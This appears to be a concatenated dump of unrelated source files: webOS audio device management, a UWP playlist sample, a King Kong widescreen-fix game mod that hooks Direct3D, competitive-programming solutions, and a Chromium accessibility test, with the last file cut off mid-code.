strlen("Headphones"); if ((fp = fopen("/proc/asound/cards", "r")) == NULL ) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "Cannot open /proc/asound/cards file to get sound card info"); return; } while (fgets(snd_card_info, sizeof(snd_card_info), fp) != NULL) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found card %s", snd_card_info); snd_hdmi0_card_info_parse = strstr(snd_card_info, "b1"); snd_hdmi1_card_info_parse = strstr(snd_card_info, "b2"); snd_headphone_card_info_parse = strstr(snd_card_info, "Headphones"); if (snd_hdmi0_card_info_parse && !strncmp(snd_hdmi0_card_info_parse, "b1", lengthOfHDMI0Card)) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found internal card b1"); char card = snd_card_info[1]; HDMI0CardNumber = card - '0'; } if (snd_hdmi1_card_info_parse && !strncmp(snd_hdmi1_card_info_parse, "b2", lengthOfHDMI0Card)) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found internal card b1"); char card = snd_card_info[1]; HDMI1CardNumber = card - '0'; } if (snd_headphone_card_info_parse && !strncmp(snd_headphone_card_info_parse, "Headphones", lengthOfHeadphoneCard) && (-1 == HeadphoneCardNumber)) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found internal card Headphones"); char card = snd_card_info[1]; HeadphoneCardNumber = card - '0'; mObjAudioMixer->loadInternalSoundCard('i', HeadphoneCardNumber, 0, 1, false, "pcm_headphone"); } } mObjAudioMixer->loadInternalSoundCard('i', HDMI0CardNumber, 0, 1, true, "pcm_output"); if (HDMI1CardNumber != -1) { mObjAudioMixer->loadInternalSoundCard('i', HDMI1CardNumber, 0, 1, true, "pcm_output1"); } if (fp) { fclose(fp); fp = NULL; } if (WEBOS_SOC_TYPE == "x86") { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found internal card mic"); mObjAudioMixer->loadInternalSoundCard('j', 0, 0, 1, false, "pcm_input"); } for (auto items = mDeviceAddedQueue.begin(); items!=mDeviceAddedQueue.end(); items++) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found unread udev event for device add"); mClientDeviceManagerInstance->onDeviceAdded(&(*items)); } mDeviceAddedQueue.clear(); for (auto items = mDeviceRemovedQueue.begin(); items!=mDeviceRemovedQueue.end(); items++) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"Found unread udev event for device removed"); mClientDeviceManagerInstance->onDeviceRemoved(&(*items)); } mDeviceRemovedQueue.clear(); } } void DeviceManager::addEventToQueue(bool isAdd, const Device& device) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"DeviceManager: addEventToQueue - isAdd : %d",(int)isAdd); if(isAdd) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"mDeviceAddedQueue"); mDeviceAddedQueue.push_back(device); PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"mDeviceAddedQueue %d",mDeviceAddedQueue.size()); } else { mDeviceRemovedQueue.push_back(device); PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"mDeviceRemovedQueue %d",mDeviceRemovedQueue.size()); } } bool DeviceManager::_event(LSHandle *lshandle, LSMessage *message, void *ctx) { PM_LOG_DEBUG("DeviceManager: event"); std::string reply = STANDARD_JSON_SUCCESS; LSMessageJsonParser msg(message, SCHEMA_3(REQUIRED(event, string),\ OPTIONAL(soundcard_no, integer),OPTIONAL(device_no, integer))); if (!msg.parse(__FUNCTION__, lshandle)) return true; //read optional parameters with appropriate default values int soundcard_no = -1; int device_no = -1; if (!msg.get("soundcard_no", soundcard_no)) soundcard_no = 0; if (!msg.get("device_no", device_no)) device_no = 0; std::string event; if (!msg.get("event", event)) { reply = MISSING_PARAMETER_ERROR(event, string); } else { if (mClientDeviceManagerInstance) { Device device; device.event = event; device.soundCardNumber = soundcard_no; device.deviceNumber = device_no; if ("headset-inserted" == event || "usb-mic-inserted" == event || "usb-headset-inserted" == event) { if (!mObjDeviceManager->mObjAudioMixer->getPulseMixerReadyStatus()) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "Pulsemixer not ready, adding to queue"); mObjDeviceManager->addEventToQueue(true, device); } else { reply = mClientDeviceManagerInstance->onDeviceAdded(&device); PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "DeviceManager: device added event call to device manager client object is success"); } } else if ("headset-removed" == event || "usb-mic-removed" == event || "usb-headset-removed" == event) { if (!mObjDeviceManager->mObjAudioMixer->getPulseMixerReadyStatus()) { PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "Pulsemixer not ready, adding to queue"); mObjDeviceManager->addEventToQueue(false, device); } else { reply = mClientDeviceManagerInstance->onDeviceRemoved(&device); PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "DeviceManager: device removed event call to device manager client object is success"); } } else { PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "Invalid device event received"); reply = INVALID_PARAMETER_ERROR(event, string); } } else { PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "Client DeviceManagerInstance is nullptr"); reply = STANDARD_JSON_ERROR(AUDIOD_ERRORCODE_INTERNAL_ERROR, "DeviceManager Instance is nullptr"); } } CLSError lserror; if (!LSMessageReply(lshandle, message, reply.c_str(), &lserror)) lserror.Print(__FUNCTION__, __LINE__); return true; } DeviceManager* DeviceManager::getDeviceManagerInstance() { return mObjDeviceManager; } DeviceManager::DeviceManager(ModuleConfig* const pConfObj) { PM_LOG_DEBUG("DeviceManager constructor"); mClientDeviceManagerInstance = DeviceManagerInterface::getClientInstance(); if (!mClientDeviceManagerInstance) PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "mClientDeviceManagerInstance is nullptr"); mObjModuleManager = ModuleManager::getModuleManagerInstance(); mObjAudioMixer = AudioMixer::getAudioMixerInstance(); if (mObjModuleManager) { mObjModuleManager->subscribeModuleEvent(this, utils::eEventMixerStatus); } } DeviceManager::~DeviceManager() { PM_LOG_DEBUG("DeviceManager destructor"); if (mClientDeviceManagerInstance) { delete mClientDeviceManagerInstance; mClientDeviceManagerInstance = nullptr; } } LSMethod DeviceManager::deviceManagerMethods[] = { { "event", _event}, {}, }; void DeviceManager::initialize() { if (mObjDeviceManager) { bool result = false; CLSError lserror; result = LSRegisterCategoryAppend(GetPalmService(), "/udev", DeviceManager::deviceManagerMethods, nullptr, &lserror); if (!result || !LSCategorySetData(GetPalmService(), "/udev", mObjDeviceManager, &lserror)) { PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, \ "%s: Registering Service for '%s' category failed", __FUNCTION__, "/udev"); } PM_LOG_INFO(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, \ "Successfully initialized DeviceManager"); } else { PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, \ "mObjDeviceManager is nullptr"); } } void DeviceManager::deInitialize() { PM_LOG_DEBUG("DeviceManager deInitialize()"); if (mObjDeviceManager) { delete mObjDeviceManager; mObjDeviceManager = nullptr; } else PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT, "mObjDeviceManager is nullptr"); } void DeviceManager::handleEvent(events::EVENTS_T* ev) { switch(ev->eventName) { case utils::eEventMixerStatus: { events::EVENT_MIXER_STATUS_T *stMixerStatus = (events::EVENT_MIXER_STATUS_T*)ev; eventMixerStatus(stMixerStatus->mixerStatus, stMixerStatus->mixerType); } break; default: { PM_LOG_ERROR(MSGID_DEVICE_MANAGER, INIT_KVCOUNT,"unknown event"); } break; } }
38.666667
157
0.644605
[ "object" ]
015986f44b71d047433aa16a00c56e2d8ff871e4
2,458
cpp
C++
Samples/Playlists/cpp/Scenario1_Create.xaml.cpp
dujianxin/Windows-universal-samples
d4e95ff0ac408c5d4d980bb18d53fb2c6556a273
[ "MIT" ]
2,504
2019-05-07T06:56:42.000Z
2022-03-31T19:37:59.000Z
Samples/Playlists/cpp/Scenario1_Create.xaml.cpp
dujianxin/Windows-universal-samples
d4e95ff0ac408c5d4d980bb18d53fb2c6556a273
[ "MIT" ]
314
2019-05-08T16:56:30.000Z
2022-03-21T07:13:45.000Z
Samples/Playlists/cpp/Scenario1_Create.xaml.cpp
dujianxin/Windows-universal-samples
d4e95ff0ac408c5d4d980bb18d53fb2c6556a273
[ "MIT" ]
2,219
2019-05-07T00:47:26.000Z
2022-03-30T21:12:31.000Z
// Copyright (c) Microsoft. All rights reserved. #include "pch.h" #include "Scenario1_Create.xaml.h" #include <sstream> using namespace SDKTemplate; using namespace concurrency; using namespace Platform; using namespace Windows::Foundation; using namespace Windows::Foundation::Collections; using namespace Windows::Media::Playlists; using namespace Windows::Storage; using namespace Windows::Storage::Pickers; using namespace Windows::UI::Xaml; using namespace Windows::UI::Xaml::Controls; using namespace Windows::UI::Xaml::Controls::Primitives; using namespace Windows::UI::Xaml::Data; using namespace Windows::UI::Xaml::Input; using namespace Windows::UI::Xaml::Media; using namespace Windows::UI::Xaml::Navigation; Scenario1_Create::Scenario1_Create() : rootPage(MainPage::Current) { InitializeComponent(); } void Scenario1_Create::PickAudioButton_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e) { // Pick multiple files, then create the playlist. FileOpenPicker^ picker = MainPage::CreateFilePicker(MainPage::audioExtensions); create_task(picker->PickMultipleFilesAsync()).then([this](IVectorView<StorageFile^>^ files) { if (files->Size > 0) { Playlist^ playlist = ref new Playlist(); for (StorageFile^ file : files) { playlist->Files->Append(file); } StorageFolder^ folder = KnownFolders::MusicLibrary; String^ name = "Sample"; NameCollisionOption collisionOption = NameCollisionOption::ReplaceExisting; PlaylistFormat format = PlaylistFormat::WindowsMedia; create_task(playlist->SaveAsAsync(folder, name, collisionOption, format)).then([this, files](task<StorageFile^> fileTask) { try { StorageFile^ file = fileTask.get(); this->rootPage->NotifyUser("The playlist " + file->Name + " was created and saved with " + files->Size.ToString() + " files.", NotifyType::StatusMessage); } catch (Exception^ ex) { this->rootPage->NotifyUser(ex->Message, NotifyType::ErrorMessage); } }); } else { rootPage->NotifyUser("No files picked.", NotifyType::ErrorMessage); } }); }
35.623188
175
0.624491
[ "object" ]
015a3cbf3173a21ed300834fa85580083c1bcbe9
12,652
cpp
C++
source/KingKong.WidescreenFix/dllmain.cpp
Sergeanur/WidescreenFixesPack
7e159be860a870476a97c322a0c4dd244e50cee7
[ "MIT" ]
null
null
null
source/KingKong.WidescreenFix/dllmain.cpp
Sergeanur/WidescreenFixesPack
7e159be860a870476a97c322a0c4dd244e50cee7
[ "MIT" ]
null
null
null
source/KingKong.WidescreenFix/dllmain.cpp
Sergeanur/WidescreenFixesPack
7e159be860a870476a97c322a0c4dd244e50cee7
[ "MIT" ]
null
null
null
#include "stdafx.h" #include <d3d9.h> #include "dxsdk\d3dvtbl.h" uintptr_t pBarsPtr; uintptr_t pBarsJmp; struct Screen { int32_t Width; int32_t Height; float fWidth; float fHeight; float fFieldOfView; float fAspectRatio; float fCustomAspectRatioHor; float fCustomAspectRatioVer; int32_t Width43; float fWidth43; float fHudScale; float fHudOffset; float fCutOffArea; float fFMVScale; } Screen; void __declspec(naked) BarsHook() { __asm pushad if (*(uint32_t*)((*(uintptr_t*)pBarsPtr) + 0xCC) == 3) { __asm popad __asm jmp pBarsJmp } else { __asm popad __asm retn 0x0C } } typedef HRESULT(STDMETHODCALLTYPE* CreateDevice_t)(IDirect3D9*, UINT, D3DDEVTYPE, HWND, DWORD, D3DPRESENT_PARAMETERS*, IDirect3DDevice9**); CreateDevice_t RealD3D9CreateDevice = NULL; typedef HRESULT(STDMETHODCALLTYPE* DrawPrimitive_t)(LPDIRECT3DDEVICE9, D3DPRIMITIVETYPE, UINT, UINT); DrawPrimitive_t RealDrawPrimitive = NULL; HRESULT WINAPI DrawPrimitive(LPDIRECT3DDEVICE9 pDevice, D3DPRIMITIVETYPE PrimitiveType, UINT StartVertex, UINT PrimitiveCount) { //hides some untextured objects and objects with broken geometry, may also hide normal objects //367 - tall grass, has some broken vertices, but hiding it is overkill if (PrimitiveType == D3DPT_TRIANGLESTRIP && StartVertex == 0 && (PrimitiveCount == 749 || PrimitiveCount == 909 /*|| PrimitiveCount == 367*/)) return D3D_OK; return RealDrawPrimitive(pDevice, PrimitiveType, StartVertex, PrimitiveCount); } HRESULT WINAPI CreateDevice(IDirect3D9* d3ddev, UINT Adapter, D3DDEVTYPE DeviceType, HWND hFocusWindow, DWORD BehaviorFlags, D3DPRESENT_PARAMETERS* pPresentationParameters, IDirect3DDevice9** ppReturnedDeviceInterface) { HRESULT retval = RealD3D9CreateDevice(d3ddev, Adapter, DeviceType, hFocusWindow, BehaviorFlags, pPresentationParameters, ppReturnedDeviceInterface); UINT_PTR* pVTable = (UINT_PTR*)(*((UINT_PTR*)*ppReturnedDeviceInterface)); RealDrawPrimitive = (DrawPrimitive_t)pVTable[IDirect3DDevice9VTBL::DrawPrimitive]; injector::WriteMemory(&pVTable[IDirect3DDevice9VTBL::DrawPrimitive], &DrawPrimitive, true); return retval; } void InitSettings() { auto pattern = hook::pattern("75 66 8D 4C 24 04 51"); injector::MakeNOP(pattern.get_first(0), 2, true); //0x40BD3F pattern = hook::pattern("75 39 83 7C 24 08 01 75 32 8B"); //0x40BD6C struct RegHook { void operator()(injector::reg_pack& regs) { regs.ecx = *(uint32_t*)(regs.esp + 0x118); regs.edx = (regs.esp + 0x0C); GetModuleFileNameA(NULL, (char*)regs.edx, MAX_PATH); *(strrchr((char*)regs.edx, '\\') + 1) = '\0'; } }; injector::MakeInline<RegHook>(pattern.get_first(0), pattern.get_first(20)); } void Init() { CIniReader iniReader(""); static bool bCustomAR; auto szForceAspectRatio = iniReader.ReadString("MAIN", "ForceAspectRatio", "auto"); static bool bFullscreenFMVs = iniReader.ReadInteger("MAIN", "FullscreenFMVs", 1) != 0; static float fMouseSensitivityFactor = iniReader.ReadFloat("MAIN", "MouseSensitivityFactor", 0.0f); static float fFOVFactor = iniReader.ReadFloat("MAIN", "FOVFactor", 0.0f); static bool bHideUntexturedObjects = iniReader.ReadInteger("MISC", "HideUntexturedObjects", 0) != 0; if (strncmp(szForceAspectRatio.c_str(), "auto", 4) != 0) { Screen.fCustomAspectRatioHor = static_cast<float>(std::stoi(szForceAspectRatio.c_str())); Screen.fCustomAspectRatioVer = static_cast<float>(std::stoi(strchr(szForceAspectRatio.c_str(), ':') + 1)); bCustomAR = true; } auto pattern = hook::pattern("89 86 BC 02 00 00 89 8E C0 02 00 00 89 96 C4 02 00 00"); //0x9F2161 struct ResHook { void operator()(injector::reg_pack& regs) { Screen.Width = regs.eax; Screen.Height = regs.ecx; *(uint32_t*)(regs.esi + 0x2BC) = Screen.Width; *(uint32_t*)(regs.esi + 0x2C0) = Screen.Height; *(uint32_t*)(regs.esi + 0x2C4) = regs.edx; Screen.fWidth = static_cast<float>(Screen.Width); Screen.fHeight = static_cast<float>(Screen.Height); Screen.fAspectRatio = Screen.fWidth / Screen.fHeight; Screen.Width43 = static_cast<uint32_t>(Screen.fHeight * (4.0f / 3.0f)); Screen.fWidth43 = static_cast<float>(Screen.Width43); Screen.fHudOffset = (1.0f / (Screen.fHeight * (4.0f / 3.0f))) * ((Screen.fWidth - Screen.fHeight * (4.0f / 3.0f)) / 2.0f); Screen.fHudScale = Screen.fHeight / Screen.fWidth; Screen.fFieldOfView = 1.0f * (((4.0f / 3.0f)) / (Screen.fAspectRatio)); Screen.fCutOffArea = 0.5f / Screen.fFieldOfView; Screen.fFMVScale = 1.0f / (((4.0f / 3.0f)) / (Screen.fAspectRatio)); if (bCustomAR) { Screen.fAspectRatio = Screen.fCustomAspectRatioHor / Screen.fCustomAspectRatioVer; Screen.fHudScale = Screen.fCustomAspectRatioVer / Screen.fCustomAspectRatioHor; Screen.fFieldOfView = 1.0f * (((4.0f / 3.0f)) / (Screen.fAspectRatio)); Screen.fCutOffArea = 0.5f / Screen.fFieldOfView; } if (fFOVFactor) { Screen.fFieldOfView /= fFOVFactor; Screen.fCutOffArea = 0.5f / Screen.fFieldOfView; } } }; injector::MakeInline<ResHook>(pattern.get_first(0), pattern.get_first(18)); auto dword_temp = *hook::pattern("D9 04 8D ? ? ? ? D9 5C 24 18 EB 0A").count(1).get(0).get<uint32_t*>(3); pattern = hook::pattern(pattern_str(0xD9, 0x04, '?', to_bytes(dword_temp))); //0xA01C67 for (size_t i = 0; i < pattern.size(); i++) { injector::MakeNOP(pattern.get(i).get<uint32_t>(0), 1, true); injector::WriteMemory<uint16_t>(pattern.get(i).get<uint32_t>(1), 0x05D9, true); injector::WriteMemory(pattern.get(i).get<uint32_t>(3), &Screen.fHudScale, true); } auto ptr = hook::get_pattern("D8 3D ? ? ? ? D9 5C 24 34 E8 ? ? ? ? D9", 2); //0xA01E6A injector::WriteMemory(ptr, &Screen.fFieldOfView, true); //objects disappear at screen edges with hor+, fixing that @0098B8CF ptr = hook::get_pattern("D8 0D ? ? ? ? D9 5C 24 10 8B 5C 24 10 53", 2); //0x98B8CF injector::WriteMemory(ptr, &Screen.fCutOffArea, true); //FMVs pattern = hook::pattern("89 50 18 8B 06 8B CE FF 50 14 8B 4F 08"); //0xA25984 struct FMVHook { void operator()(injector::reg_pack& regs) { //hor *(float*)(regs.eax - 0x54) /= Screen.fFMVScale; *(float*)(regs.eax - 0x38) /= Screen.fFMVScale; *(float*)(regs.eax - 0x1C) /= Screen.fFMVScale; *(float*)(regs.eax + 0x00) /= Screen.fFMVScale; if (bFullscreenFMVs) { static const float fFMVSize = (640.0f / 386.0f) / (480.0f / 386.0f); //hor *(float*)(regs.eax - 0x54) *= fFMVSize; *(float*)(regs.eax - 0x38) *= fFMVSize; *(float*)(regs.eax - 0x1C) *= fFMVSize; *(float*)(regs.eax + 0x00) *= fFMVSize; //ver *(float*)(regs.eax - 0x50) *= fFMVSize; *(float*)(regs.eax - 0x18) *= fFMVSize; *(float*)(regs.eax - 0x34) *= fFMVSize; *(float*)(regs.eax + 0x04) *= fFMVSize; } *(uintptr_t*)(regs.eax + 0x18) = regs.edx; regs.eax = *(uintptr_t*)(regs.esi); } }; injector::MakeInline<FMVHook>(pattern.get_first(0)); pattern = hook::pattern("68 ? ? ? ? E8 ? ? ? ? 50 55 56 E8 ? ? ? ? 0F B7 4F 06 0F B7 57 04"); //0x992C4C static auto unk_CC0E20 = *pattern.count(1).get(0).get<char*>(1); struct TextHook { void operator()(injector::reg_pack& regs) { if (strncmp(unk_CC0E20, "16/9", 4) == 0) { strncpy(unk_CC0E20, "Bars", 4); } else { if (strncmp(unk_CC0E20, "4/3", 3) == 0) { strncpy(unk_CC0E20, "Std", 4); } } regs.ecx = *(uint16_t*)(regs.edi + 6); regs.edx = *(uint16_t*)(regs.edi + 4); } }; injector::MakeInline<TextHook>(pattern.get_first(18), pattern.get_first(18 + 8)); pBarsPtr = *(uintptr_t*)hook::get_pattern("A1 ? ? ? ? 8B 88 00 08 00 00 81 C1 B4 68 06 00", 1); //0xCBFBE0 auto off_AD5CE8 = *hook::pattern("89 46 1C C7 06 ? ? ? ? 8B C6 5E C3").count(2).get(1).get<uintptr_t*>(5); injector::WriteMemory(off_AD5CE8 + 5, BarsHook, true); //0xAD5CFC pBarsJmp = (uintptr_t)hook::get_pattern("8B 41 10 6A 00 50 B9 ? ? ? ? E8", 0); //0xA2A350 if (fMouseSensitivityFactor) { pattern = hook::pattern("D9 85 ? ? ? ? D8 1D ? ? ? ? DF E0 F6 C4 41 75 1D D9 85 4C"); //0x45F048 struct MouseSensHook { void operator()(injector::reg_pack& regs) { *(float*)(regs.ebp - 0x1B0) *= fMouseSensitivityFactor; *(float*)(regs.ebp - 0x1B4) *= fMouseSensitivityFactor; float temp = *(float*)(regs.ebp - 0x1B4); _asm fld dword ptr[temp] } }; injector::MakeInline<MouseSensHook>(pattern.get_first(0), pattern.get_first(6)); } static const std::string defaultCmd("/B /lang:01 /spg:50 /GDBShaders KKMaps.bf"); pattern = hook::pattern("C7 45 ? ? ? ? ? 68 04 01 00 00 8D 85 D8 FB FF FF 50"); //0x401A10 struct StartupHook { void operator()(injector::reg_pack& regs) { *(uint32_t*)(regs.ebp - 0x4) = 0; std::string_view lpCmdLine(*(char**)(regs.ebp + 0x10)); if (lpCmdLine.empty()) *(uint32_t*)(regs.ebp + 0x10) = (uint32_t)defaultCmd.data(); } }; injector::MakeInline<StartupHook>(pattern.get_first(0), pattern.get_first(7)); if (true) //windowed mode text fix { auto[ResX, ResY] = GetDesktopRes(); HKEY phkResult; DWORD cbData, Type; BYTE Data[4]; if (RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Ubisoft\\KingKong\\{2C391F94-B8B9-4832-9C57-3AFC332CC037}\\Basic video", 0, KEY_READ | KEY_SET_VALUE, &phkResult)) RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Ubisoft\\KingKong\\{2C391F94-B8B9-4832-9C57-3AFC332CC037}\\Basic video", &phkResult); cbData = 4; if (!RegQueryValueExA(phkResult, "ResolutionWidth", 0, &Type, Data, &cbData) && Type == 4 && cbData == 4) ResX = *(int32_t*)Data; else RegSetValueExA(phkResult, "ResolutionWidth", 0, REG_DWORD, (const BYTE*)&ResX, cbData); cbData = 4; if (!RegQueryValueExA(phkResult, "ResolutionHeight", 0, &Type, Data, &cbData) && Type == 4 && cbData == 4) ResY = *(int32_t*)Data; else RegSetValueExA(phkResult, "ResolutionHeight", 0, REG_DWORD, (const BYTE*)&ResY, cbData); RegCloseKey(phkResult); pattern = hook::pattern("68 E0 01 00 00 68 80 02 00 00"); for (size_t i = 0; i < pattern.size(); ++i) { injector::WriteMemory(pattern.get(i).get<uint32_t>(6), ResX, true); injector::WriteMemory(pattern.get(i).get<uint32_t>(1), ResY, true); } } if (bHideUntexturedObjects) { pattern = hook::pattern("8B 84 24 90 04 00 00 50 8B CD E8 ? ? ? ? 8B 45 00 8B 08 50"); struct Direct3DDeviceHook { void operator()(injector::reg_pack& regs) { auto pID3D9 = *(IDirect3D9**)(regs.ebp + 0x00); UINT_PTR* pVTable = (UINT_PTR*)(*((UINT_PTR*)pID3D9)); RealD3D9CreateDevice = (CreateDevice_t)pVTable[IDirect3D9VTBL::CreateDevice]; injector::WriteMemory(&pVTable[IDirect3D9VTBL::CreateDevice], &CreateDevice, true); regs.eax = *(uint32_t*)(regs.esp + 0x490); } }; injector::MakeInline<Direct3DDeviceHook>(pattern.get_first(0), pattern.get_first(7)); } } CEXP void InitializeASI() { std::call_once(CallbackHandler::flag, []() { CallbackHandler::RegisterCallback(Init, hook::pattern("33 DB 89 5D E0 53")); CallbackHandler::RegisterCallback(InitSettings, hook::pattern("75 66 8D 4C 24 04 51")); }); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { } return TRUE; }
40.551282
218
0.600775
[ "geometry", "3d" ]
015dac72b3c82cb03226bd0007f4a5f9920f9bca
1,753
cpp
C++
Hackerrank/socialcaptial/pixel.cpp
zzh8829/CompetitiveProgramming
36f36b10269b4648ca8be0b08c2c49e96abede25
[ "MIT" ]
1
2017-10-01T00:51:39.000Z
2017-10-01T00:51:39.000Z
Hackerrank/socialcaptial/pixel.cpp
zzh8829/CompetitiveProgramming
36f36b10269b4648ca8be0b08c2c49e96abede25
[ "MIT" ]
null
null
null
Hackerrank/socialcaptial/pixel.cpp
zzh8829/CompetitiveProgramming
36f36b10269b4648ca8be0b08c2c49e96abede25
[ "MIT" ]
null
null
null
#include <algorithm> #include <bitset> #include <cassert> #include <cctype> #include <climits> #include <cmath> #include <cstdint> #include <cstdio> #include <cstdlib> #include <cstring> #include <ctime> #include <deque> #include <fstream> #include <functional> #include <iostream> #include <limits> #include <list> #include <map> #include <numeric> #include <queue> #include <set> #include <stack> #include <string> #include <unordered_map> #include <unordered_set> #include <vector> using namespace std; #define rint(x) scanf("%d", &(x)) #define endl '\n' typedef long long LL; typedef pair<int,int> I2; string str[] = { "Black","White","Red","Green","Blue" }; int dis(int a,int b,int c,int x,int y,int z) { return (a-x)*(a-x) + (b-y)*(b-y) + (c-z)*(c-z); } int main() { ios_base::sync_with_stdio(false); cin.tie(nullptr); int n; cin >> n; for(int tt=0;tt<n;tt++) { int r=0,g=0,b=0; char c; for(int i=0;i!=8;i++) { cin >> c; r = r*2+(c=='1'?1:0); } for(int i=0;i!=8;i++) { cin >> c; g = g*2+(c=='1'?1:0); } for(int i=0;i!=8;i++) { cin >> c; b = b*2+(c=='1'?1:0); } vector<I2> vi; vi.push_back(I2(dis(0,0,0,r,g,b),0)); vi.push_back(I2(dis(255,255,255,r,g,b),1)); vi.push_back(I2(dis(255,0,0,r,g,b),2)); vi.push_back(I2(dis(0,255,0,r,g,b),3)); vi.push_back(I2(dis(0,0,255,r,g,b),4)); sort(vi.begin(),vi.end()); if(vi[0].first == vi[1].first) { cout << "Ambiguous" << endl; } else { cout << str[vi[0].second] << endl; } } return 0; }
19.920455
51
0.504849
[ "vector" ]
0160daf039c0ebd1db7e86be2d04b63edcb2bdbb
1,648
cc
C++
third_party/blink/renderer/modules/accessibility/ax_inline_text_box_test.cc
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/blink/renderer/modules/accessibility/ax_inline_text_box_test.cc
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/blink/renderer/modules/accessibility/ax_inline_text_box_test.cc
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2021-01-05T23:43:46.000Z
2021-01-07T23:36:34.000Z
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/modules/accessibility/ax_inline_text_box.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/renderer/modules/accessibility/ax_object_cache_impl.h" #include "third_party/blink/renderer/modules/accessibility/testing/accessibility_test.h" #include "third_party/blink/renderer/platform/wtf/vector.h" namespace blink { namespace test { TEST_P(ParameterizedAccessibilityTest, GetWordBoundaries) { // &#9728; is the sun emoji symbol. // &#2460; is circled digit one. SetBodyInnerHTML(R"HTML( <p id="paragraph"> &quot;This, &#9728; &#2460; is ... a---+++test.&quot; </p>)HTML"); AXObject* ax_paragraph = GetAXObjectByElementId("paragraph"); ASSERT_NE(nullptr, ax_paragraph); ASSERT_EQ(ax::mojom::Role::kParagraph, ax_paragraph->RoleValue()); ax_paragraph->LoadInlineTextBoxes(); const AXObject* ax_inline_text_box = ax_paragraph->DeepestFirstChildIncludingIgnored(); ASSERT_NE(nullptr, ax_inline_text_box); ASSERT_EQ(ax::mojom::Role::kInlineTextBox, ax_inline_text_box->RoleValue()); VectorOf<int> expected_word_starts{0, 1, 5, 9, 11, 14, 18, 19, 25, 29}; VectorOf<int> expected_word_ends{1, 5, 6, 10, 13, 17, 19, 22, 29, 31}; VectorOf<int> word_starts, word_ends; ax_inline_text_box->GetWordBoundaries(word_starts, word_ends); EXPECT_EQ(expected_word_starts, word_starts); EXPECT_EQ(expected_word_ends, word_ends); } } // namespace test } // namespace blink
38.325581
88
0.74818
[ "vector" ]
0166e24c77311890df64badaff29b4a6878f59f5
2,181
cpp
C++
11/roh/1700.cpp
Dcom-KHU/2021-Winter-Algorithm-Study
ea32826abe7d8245ee9d3dc8d0161f7ba018a02f
[ "MIT" ]
2
2021-01-09T10:05:21.000Z
2021-01-10T06:14:03.000Z
11/roh/1700.cpp
Dcom-KHU/2021-Winter-Algorithm-Study
ea32826abe7d8245ee9d3dc8d0161f7ba018a02f
[ "MIT" ]
null
null
null
11/roh/1700.cpp
Dcom-KHU/2021-Winter-Algorithm-Study
ea32826abe7d8245ee9d3dc8d0161f7ba018a02f
[ "MIT" ]
1
2021-02-03T13:09:09.000Z
2021-02-03T13:09:09.000Z
#include <iostream> #include <vector> #include <queue> using namespace std; //앞으로 사용안할 머신의 플러그를 뽑거나 //가장 나중에 사용할 머신의 플러그를 뽑으면 됩니다. //구멍과 머신의 개수가 100개이므로 n^3은 가능. //지금 머신이 플러그에 꽂혀있는지 확인 bool is_in(const vector<int>& v, int target){ for(auto& walker : v) if(walker == target) return true; return false; } int main() { ios::sync_with_stdio(false); cin.tie(NULL); cout.tie(NULL); //입력을 받아줍니다. int n_hole, n_machine; cin>>n_hole>>n_machine; //벡터 컨테이너에 저장. vector<int> m_nums; for(int i = 0; i<n_machine; i++){ int temp; cin>>temp; m_nums.push_back(temp); } //멀티탭의 i번째 포트에는 n번째 머신이 꽂혀 있습니다. vector<int> multitab; int n_plug_out = 0; for(int machine_num = 0; machine_num<m_nums.size(); machine_num++){ auto& machine = m_nums[machine_num]; //머신이 이미 사용중이라면 if(is_in(multitab, machine)) continue; //새로운 포트가 비어있다면 if(multitab.size() < n_hole) multitab.push_back(machine); //그 이외의 경우에는 가장 나중에 사용할 머신을 뽑습니다. else{ //multitab의 i번째에 꼳혀 있는 머신이 이다음에 언제 사용되는지 저장. int next_idxs[101]; //굉장히 큰수로 초기화를 해주고 for(int i = 0; i<101; i++) next_idxs[i] = 987654321; for(int i = 0; 